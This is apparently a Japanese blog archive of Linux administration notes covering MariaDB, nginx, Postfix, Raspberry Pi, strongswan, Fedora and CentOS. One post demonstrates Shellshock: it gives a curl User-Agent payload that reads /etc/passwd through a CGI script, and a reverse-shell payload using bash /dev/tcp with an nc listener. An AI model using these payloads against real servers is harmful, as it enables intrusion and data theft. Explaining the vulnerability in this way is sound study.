Linux」カテゴリーアーカイブ

Linux一般に関すること

Ubuntu 16.04 + MariaDB

※これは古い記事です。Ubuntu 18.04 の場合はこちら

※以下のサイトを参考に全面改訂しました(2017/09/12)
Ubunt 16.04でMariaDBをインストールするとパスワードが変

MySQL から MariaDB に移行するにあたって、パッケージが前提とする流儀が違ったり、罠があったりするので手当てをする。

1. DB root ユーザでの接続に失敗する

通常は最初に DB root ユーザで DB エンジンに接続して、Web アプリケーションの要求するデータベースやDBユーザを作成するだろう。これを実行しようとすると、OS の一般ユーザのコマンドラインから DB に root ログインできないという事象にぶち当たる。

user@xenial:~$ mysql -u root -p
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'

mysql_secure_installationで初期化を実行しても効果がない。

上記動作の原因は、初期状態の DB root ユーザ認証に UNIX ソケット認証プラグインが使われているためである。この状態では、DB root として接続するために OS root 権限にならなければならない (sudo または su コマンドを使う)。OS root になっていれば、以下のようにユーザ名指定なし・パスワードなしで DB root として接続可能である。

user@xenial:~$ sudo mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 42
Server version: 10.0.34-MariaDB-0ubuntu0.16.04.1 Ubuntu 16.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

DB root でログインすると、認証プラグインの状態も確認できる。

MariaDB [(none)]> SELECT user,host,plugin from mysql.user;
+------+-----------+-------------+
| user | host      | plugin      |
+------+-----------+-------------+
| root | localhost | unix_socket | ←unix_socket認証プラグインが使われている
+------+-----------+-------------+
1 row in set (0.00 sec)

2. 初期状態の認証設定でそのまま利用する

この初期設定に乗っかっていくなら、DB の root パスワードを設定する必要がない。

また一般ユーザでも同一の仕組みを使う場合は、UNIX ユーザと DB ユーザを同名で作成すればよい。

例) wordpress を「wordpress」というユーザ名で利用する場合

user@xenial:~$ sudo useradd -m -s /bin/bash wordpress (OS ユーザの作成)
user@xenial:~$ sudo mysql
MariaDB [(none)]> CREATE USER wordpress@localhost IDENTIFIED VIA unix_socket; (DB ユーザの作成)

wordpress ユーザで接続できるかどうか確認する。

user@xenial:~$ sudo -i -u wordpress
wordpress@xenial:~$ mysql -u wordpress
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 46
Server version: 10.0.34-MariaDB-0ubuntu0.16.04.1 Ubuntu 16.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> \q
Bye

※上記の方式でwordpressを動かす場合は、PHP の実行ユーザが wordpress ユーザである必要がある。例えば PHP 実行環境に php-fpm を使っている場合は、/etc/php/7.0/fpm/pool.d/www.confを編集して php-fpm 実行ユーザを wordpress に変更する。

※この認証方式では、TCP/3306 経由ではログインできないことになる。必ずローカルの UNIX ドメインソケット経由でなければならない。

3. 従来のパスワード認証を使っていく場合

DB の root ユーザを従来のパスワード認証に変更したい (以前の方式に戻す) 場合は、以下の手順を実行する。

user@xenial:~$ sudo mysql
MariaDB [(none)]> set password for 'root'@'localhost'=password('パスワード文字列');
MariaDB [(none)]> use mysql;
MariaDB [mysql]> update user set plugin='' where user='root';
MariaDB [mysql]> flush privileges;
MariaDB [mysql]> \q

root ユーザの認証プラグインを外し、通常のパスワードを設定している。この対処を実施した場合は、/etc/mysql/debian.cnf に平文パスワードを記述してやらないと systemctl での起動・停止が動作しなくなる。

user@xenial:~$ sudo vi /etc/mysql/debian.cnf
[client]
host     = localhost
user     = root
password = rootのパスワード文字列
socket   = /var/run/mysqld/mysqld.sock
[mysql_upgrade]
host     = localhost
user     = root
password = rootのパスワード文字列
socket   = /var/run/mysqld/mysqld.sock

一般ユーザについても、通常のパスワードを設定して作成する。

MariaDB [(none)]> CREATE USER wordpress@localhost IDENTIFIED BY 'パスワード文字列';

4. localhost の 3306/tcp に接続できない

アプリケーションから localhost あてに接続すると、システム上 IPv6 (::1) が優先される。しかし MariaDB デフォルト設定の bind-address は 127.0.0.1 になっている。

このせいで、アプリケーションの設定で、DB サーバのホスト名 / IP アドレス指定を “localhost” にしてあると接続できない。アプリケーション側での DB サーバ指定を 127.0.0.1 とするか、MariaDB 側の設定ファイル /etc/mysql/mariadb.conf.d/50-server.cnf で bind-address を ::1 にする必要がある。

Ubuntu 14.04 + nginx で HTTP/2 サーバ

※以下は Ubuntu 14.04 用の内容です。Ubuntu 16.04 であれば、標準パッケージでHTTP/2が使えて、様々な機能が追加された nginx-extras が利用可能です。そちらを使いましょう。

nginx公式で配布されているmainlineバイナリを使えばHTTP/2は利用できるのだが、nginx-dav-ext-moduleが同時にコンパイルされておらずWebDAVが使い物にならないため、リビルドを実行する。

1. ビルド環境を準備する

開発環境をインストールする。

sudo apt-get install build-essential debhelper

nginxのビルドに必要なライブラリ・ヘッダをインストールする。

sudo apt-get install libpcre3-dev libxml2-dev libxslt1-dev libgd-dev libssl-dev libgeoip-dev

2. nginx公式のパッケージをapt-getで利用できるようにする

apt sourceとして登録する。

curl http://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo vi /etc/apt/sources.list.d/nginx.list

/etc/apt/sources.list.d/nginx.listファイル:

deb http://nginx.org/packages/mainline/ubuntu/ trusty nginx
deb-src http://nginx.org/packages/mainline/ubuntu/ trusty nginx

3. ソースパッケージを取得してビルドする

sudo apt-get update
apt-get source nginx
cd nginx-1.9.12
git clone https://github.com/arut/nginx-dav-ext-module.git
vi debian/rules

nginx-1.9.12/debian/rulesファイル:

    --add-module=./nginx-dav-ext-module \ この行を追加

実際にビルドする。

dpkg-buildpackage -us -uc -b -d
cd ..

4. ビルドしたパッケージをapt-getでインストールする

ローカルのdebレポジトリを作成する。

sudo mkdir -p /usr/src/deb
sudo mv *.deb /usr/src/deb/
sudo bash
# cd /usr/src/deb
# apt-ftparchive packages . | gzip -c9 > Packages.gz
# apt-ftparchive sources . | gzip -c9 > Sources.gz
# exit
sudo vi /etc/apt/sources.list.d/local.list

/etc/apt/sources.list.d/local.listファイル:

deb file:/usr/src/deb/ ./

インストールを実行する。

sudo apt-get update
sudo apt-get install nginx

参考URL:
Ubuntu (Debian) で nginx に WebDAV拡張モジュール(ngx-dav-ext-module)を組み込むで使ってみる
Nginx で WebDAV 環境構築、PROPFIND 405 が使えなかったのでソースからコンパイルしてみた
ローカルに置いたdebファイルをapt-get installでインストールする
Nginxセキュリティ設定
Ubuntu+php5-fpm+mysql で LEMP 環境に WordPress をインストール
Let’s EncryptとnginxでHTTP/2サーバを立てる

Postfixのsender_canonical_mapsでヘッダを書きかえてくれない

sender_canonical_mapsを設定したけど、エンベロープ From は書き換わってもヘッダ From が書き換わらない!という場合がある。sender_canonical_classes にもちゃんと header_sender が含まれている(デフォルト)のに書き換わらない。

結論から言うと、local_header_rewrite_clients の設定を見直す必要がある。

デフォルトでは

local_header_rewrite_clients = permit_inet_interfaces

となっていて、サーバのローカルから送信されたメールのみ、ヘッダも書き換えるという動作をする。つまり、メールハブでいくらsender_canonical_maps を設定しても、他サーバから送信されたメールのヘッダ From は書き換えてくれないのだ。

自分が管理しているドメイン(組織内ローカルネットワーク)のどのクライアント・サーバから送られたメールでも From ヘッダを書き換え対象としたい場合、管理対象ドメインの IP アドレスを mynetworks に列挙した上で以下を設定する。

local_header_rewrite_clients = permit_mynetworks

難しく考えず、書き換え対象なら必ず書き換える!という場合は以下の設定を入れる。

local_header_rewrite_clients = static:all

この場合、書き換えテーブルにマッチすれば、インバウンドメールであろうと書き換えが入ることになるが、まあそれほど問題はないだろう。

参考:

Postfixで送信者(From:)によってルーティングを変更する

メールのFrom:を見て、条件により nexthop メールリレーサーバを変更する設定をしたい。アウトバウンドリレーサーバに、ライセンス数制限のあるメールセキュリティアプライアンスなどを選択したい場合に使う。

設定項目としては、sender_dependent_default_transport_maps と sender_dependent_relayhost_maps がある。どちらを使っても同等の動作を実現できるが、少し書式が異なる。

1. sender_dependent_default_transport_maps を使う場合

/etc/postfix/main.cf:

sender_dependent_default_transport_maps = hash:/etc/postfix/sender_dependent_transport

/etc/postfix/sender_dependent_transport:

@example.co.jp            smtp:[リレーサーバ1]:25
@sub.example.co.jp        smtp:[リレーサーバ2]:25

メールの送信者が foo@example.co.jp の場合はリレーサーバ1に、bar@sub.example.co.jp の場合はリレーサーバ2に送られる。

この設定は、default_transport (デフォルト値: smtp) をエンベロープ From: 次第で上書き変更するというものである。上記のような書き方もできるし、master.cf で別の transport を定義しておき右辺に使うことも可能。

2. sender_dependent_relayhost_maps を使う場合

/etc/postfix/main.cf:

sender_dependent_relayhost_maps = hash:/etc/postfix/sender_dependent_relayhost

/etc/postfix/sender_dependent_relayhost:

@example.co.jp           [リレーサーバ1]:25
@sub.example.co.jp       [リレーサーバ2]:25

これは relayhost の設定を From: 次第で上書きするという機能なので、テーブルの右辺は relayhost を書くときの形式でなければならない。つまり、 transport:host:port の形式ではなく、host:port だけの形式となる。

ただし、「この情報は relay_transport、default_transport および transport(5) テーブルで上書きされます。」とのことなので、transportテーブルを併用する場合は思った通りに動作しないかもしれない。

Raspberry Pi 2にRaspbian jessieをインストール

注意

これは古い記事です。Raspbianの配布元からjessieが配布されるようになりました(2015/9現在)ので、そちらを使ってください。

1. 準備

OSイメージをダウンロードし、microSDカードに書き込む(以下はMac OS Xで作業した場合の手順)

$ unzip 2015-05-05-raspbian-wheezy.zip
$ sudo dd if=2015-05-05-raspbian-wheezy.img of=/dev/disk2 bs=4m

2. 起動直後の設定

USBキーボード、HDMIでモニタを接続して、さきほど書き込んだSDカードをRaspberry Piにさしかえて起動する。コンソール上でraspi-configが起動したら、以下の設定を実行する。

・Expand Filesystem
・Internationalisation Options -> Change Locale -> ja_JP.UTF-8 -> Default Locale -> ja_JP.UTF-8
・Internationalisation Options -> Change Timezone -> Asia -> Tokyo
・Internationalisation Options -> Change Keyboard Layout -> Generic 105-Key(Intel) PC -> Other ->  Japanese 
・Advanced Options -> SSH -> Enable

その後、raspi-config終了を選択すると、システム再起動がかかる。

piユーザでコンソールログインし、rootでのsshログインができるようパスワードを設定しておく(OSバージョンアップの際にroot権限で実行するため)。

pi$ sudo passwd root

ここからはネットワークで作業する。sshでログインしてみる。

$ ssh root@rasberrypi

OSバージョンアップ(wheezy->jessie)

OSバージョンアップのため、aptのsource行をjessieに書き換える。またjessieに対応していない行は使えないようにする。

# vi /etc/apt/sources.list
wheezy -> jessie
# cd /etc/apt/sources.list.d
# for i in *.list; do mv $i $i.orig; done

OSバージョンアップを実施する。

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade

途中、「root での SSH パスワード認証を無効にしますか?」と聞かれるので「いいえ」を選択する。

パッケージアップデートが終了したら、必要ないパッケージをアンインストールして再起動する。

# apt-get autoremove
# shutdown -r now

初期設定・その他

さきほど有効化してしまった、rootでのsshログインを無効化する。

$ sudo vi /etc/ssh/sshd_config
PermitRootLogin no

自分に必要なユーティリティの類をインストールしておく。

$ sudo apt-get install dnsutils heirloom-mailx mlocate screen vim

Xが起動しないようにする。

$ sudo systemctl disable lightdm.service
$ sudo systemctl disable display-manager.service
$ sudo shutdown -r now

Raspberry Pi 2はARMv7になったんだし、慣れてるUbuntu入れるのが一番いいような気もするが…

Raspbianにstrongswan 5.xをインストール

Raspberry Pi model B+ を購入して VPN 箱にしようとしたが、Raspbian OS標準のstrongswan パッケージ (=debian wheezyのパッケージ) があまりに古い (4.5.2) ので、ソースから 5.x をインストールすることにする。

1. 標準パッケージのstrongswanをアンインストール

アンインインストールする前に、起動スクリプトをバックアップしておく。

$ sudo cp /etc/init.d/ipsec /tmp

その上で、標準のstrongswanをアンインストールする。

$ sudo apt-get purge libstrongswan strongswan \
strongswan-ikev1 strongswan-ikev2 strongswan-starter

2. ビルドに必要なパッケージをインストール

$ sudo apt-get install build-essential

3. 必要そうなライブラリをインストール

$ sudo apt-get install libgmp-dev libldap2-dev \
libcurl4-openssl-dev libpam0g-dev libkrb5-dev \
libfcgi-dev libgcrypt11-dev libxml2-dev libsqlite3-dev \
libcap-dev libldns-dev libunbound-dev libsoup2.4-dev \
libtspi-dev libjson0-dev libmysqlclient-dev libpcsclite-dev

4. ビルド・インストール

wheezy-backportsパッケージのrulesファイルを参考にしてconfigureオプションを決定する。インストール先が/usr/localではなくなるけど、まあいいでしょう…
$ wget https://download.strongswan.org/strongswan-5.2.2.tar.bz2
$ tar xjf strongswan-5.2.2.tar.bz2
$ cd strongswan-5.2.2
$ ./configure \
--disable-static \
--prefix=/usr \
--exec-prefix=/usr \
--sysconfdir=/etc \
--localstatedir=/var \
--libdir=/usr/lib \
--libexecdir=/usr/lib \
--with-tss=trousers \
--enable-addrblock \
--enable-agent \
--enable-attr-sql \
--enable-ccm \
--enable-certexpire \
--enable-cmd \
--enable-coupling \
--enable-ctr \
--enable-curl \
--enable-dhcp \
--enable-dnscert \
--enable-duplicheck \
--enable-eap-aka \
--enable-eap-aka-3gpp2 \
--enable-eap-dynamic \
--enable-eap-gtc \
--enable-eap-identity \
--enable-eap-md5 \
--enable-eap-mschapv2 \
--enable-eap-peap \
--enable-eap-radius \
--enable-eap-sim \
--enable-eap-sim-file \
--enable-eap-sim-pcsc \
--enable-eap-simaka-pseudonym \
--enable-eap-simaka-reauth \
--enable-eap-simaka-sql \
--enable-eap-tls \
--enable-eap-tnc \
--enable-eap-ttls \
--enable-error-notify \
--enable-farp \
--enable-gcm \
--enable-gcrypt \
--enable-imc-attestation \
--enable-imc-os \
--enable-imc-scanner \
--enable-imc-swid \
--enable-imc-test \
--enable-imv-attestation \
--enable-imv-os \
--enable-imv-scanner \
--enable-imv-swid \
--enable-imv-test \
--enable-integrity-test \
--enable-ipseckey \
--enable-ldap \
--enable-led \
--enable-load-tester \
--enable-lookip \
--enable-md4 \
--enable-mysql \
--enable-ntru \
--enable-openssl \
--enable-pkcs11 \
--enable-radattr \
--enable-soup \
--enable-sql \
--enable-sqlite \
--enable-systime-fix \
--enable-test-vectors \
--enable-tnccs-11 \
--enable-tnccs-20 \
--enable-tnccs-dynamic \
--enable-tnc-ifmap \
--enable-tnc-imc \
--enable-tnc-imv \
--enable-tnc-pdp \
--enable-unbound \
--enable-unity \
--enable-whitelist \
--enable-xauth-eap \
--enable-xauth-generic \
--enable-xauth-noauth \
--enable-xauth-pam \
--disable-blowfish \
--disable-des \
--with-capabilities=libcap
$ make
$ sudo make install

さすがにCPUの能力が低いので、ビルドには時間がかかる。

最初にコピーしておいた起動スクリプトを戻す。
$ sudo mv /tmp/ipsec /etc/init.d/
$ sudo update-rc.d ipsec defaults

Fedora 21 Server 初期設定

Xのデスクトップ環境をgroupinstallでインストールしようとするとコンフリクトする。

$ sudo yum groupinstall "Basic Desktop"
fedora-release-nonproduct-21-2.noarch has installed conflicts fedora-release-server: fedora-release-server-21-2.noarch
fedora-release-server-21-2.noarch has installed conflicts fedora-release-nonproduct: fedora-release-nonproduct-21-2.noarch

fedora-release-serverをアンインストールすれば解決するが、これが正解かどうかはわからない。

$ sudo yum erase fedora-release-server

その後デスクトップと開発環境などをインストールする。

$ sudo yum groupinstall "Basic Desktop"
$ sudo yum groupinstall "Development and Creative Workstation"

inittabでのランレベル変更は廃止されてるので、OSブート時に gdm を起動するよう変更するには以下のコマンドを実行する。

$ sudo systemctl set-default graphical.target

bash脆弱性を利用した攻撃の例

bashの脆弱性をそのままにしているWebサーバがある場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列+任意のコマンドを埋め込んで実行できる。

条件としては、さらにサーバ上に「bashを実行しそうな実在のCGIスクリプト」などが存在することが必要。CGIスクリプトの言語がshまたはbashであればその条件に該当するし、仮にPHPやPythonだったとしても、system関数などを使っていれば/bin/shが起動されるため該当する。

※RedHat, CentOS6では/bin/sh -> /bin/bashへのシンボリックリンクであるため上記が成立するが、Debian系など他のシステムでは成立しないかもしれない。以下はRedHat Enterprise Linux 6で検証している。

1. サーバ側でcat /etc/passwdを実行させる例

curlコマンドの-A(User-Agent:ヘッダを指定する)オプションを使用して、文字列を送り込む。

attacker-pc$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

/cgi-bin/test.cgi は、実在する(かつ内部でbashを呼び出す)必要がある。

2. 攻撃者側へサーバのbashインタラクティブシェルを開く例

bashの/dev/tcp/host/port入出力エミュレート機能というのがあって、デバイスファイルへの書き込みが特定ホスト/ポートへのTCPパケット送出となるようになっている。

参考: suztomoの日記 – ncコマンドとbashの/dev/tcpで通信

以下、この機能を使って攻撃者側にシェルプロンプトを開いてみる実行例。
攻撃者は端末(tty1)で、ncコマンドなどを使いTCPの特定ポートを待ち受ける。以下の例では3333番ポートである。

attacker-pc-tty1$ nc -l -p 3333

このtty1端末はそのまま待ち受け状態となる。

ここでもう一つ端末(tty2)を立ち上げて、攻撃用のcurlコマンドを実行する。

attacker-pc-tty2$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/攻撃者PCのグローバルIPアドレス/3333 0>&1" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

すると、さきほどのtty1にサーバのシェルプロンプトが現れる。

attacker-pc-tty1$ nc -l -p 3333
bash: no job control in this shell
bash-4.1$ 

サーバ側から攻撃者PCのTCP3333番へ接続され、bashの入出力が接続された状態となった。

apacheの権限でできることであれば、ここから何でもインタラクティブに実行可能である。

※SELinuxが有効になっていれば、2.のパターンの実行は阻止される。このときhttpdのエラーログに”sh: /dev/tcp/aa.bb.cc.dd/3333: Permission denied”が記録される。

実験環境:
RedHat Enterprise Linux 6.5 x86_64
bash-4.1.2-15.el6_4

参考にしたサイト:
x86-64.jp – bashの脆弱性がヤバすぎる件
ワルブリックス株式会社 – BASHの脆弱性でCGIスクリプトにアレさせてみました
もろず blog – bash の脆弱性 “Shell Shock” のめっちゃ細かい話 (CVE-2014-6271)

HP mini 5101 に CentOS 6 をインストール

Windows XP プリインストールの旧型ネットブック HP mini 5101 に CentOS 6 をインストールしてみたのでメモしておく。

1. インストール:

DVD-Rなどを焼くのが面倒なので、UNetbootinでUSBメモリインストーラを作成する。ベースのISOファイルはCentOS-6.5-i386-minimal.isoである。

このノートPCのCPUはAtom N280なので32bitのみ。よってi386版をダウンロードするように気をつける。

$ wget http://ftp.iij.ad.jp/pub/linux/centos/6.5/isos/i386/CentOS-6.5-i386-minimal.iso

UNetbootin を起動して ISO イメージから USB メモリを作成するが、どうもバグがあるようでインストールが途中で止まってしまう。出来上がった USB メモリの repodata ディレクトリの中身を削除し、CentOS-6.5-i386-minimal.iso の repodata ディレクトリの中身をコピーすることで修正できる。

参考URL:
SBメモリでLinuxをインストールする 2

2. インストール後の設定

minimal インストール後は色々パッケージが足りないので、yum groupinstall でごっそり追加する。最初はNICがオフになっているので、まず有効化すること(後述)。X 環境が必要なら、”Desktop” “Desktop Platform” “Input Methods” “X Window System” “Fonts”あたりをインストールする。

$ sudo yum groupinstall "Desktop" "Desktop Platform" "Input Methods" "X Window System" "Fonts"

ノースブリッジ内蔵 Intel GMA 950 については X.org 標準のドライバで対応しているので、上記のように “X Window System” をインストールするだけで動作する。

NICについては、有線LANが Marvell 88E8072 であり、これは minimal インストール直後から利用できる (最初の設定は ONBOOT=no になっているので、ifup eth0 で使えるようになる)。

無線LANについては Intel PRO/Wireless 5100 AGN というのが乗っているが、これは minimal インストールではファイルが足りないため動作しない。iwl5000-firmware パッケージが必要である。

$ sudo yum install iwl5000-firmware

これで再起動すれば無線LANが使えるようになる。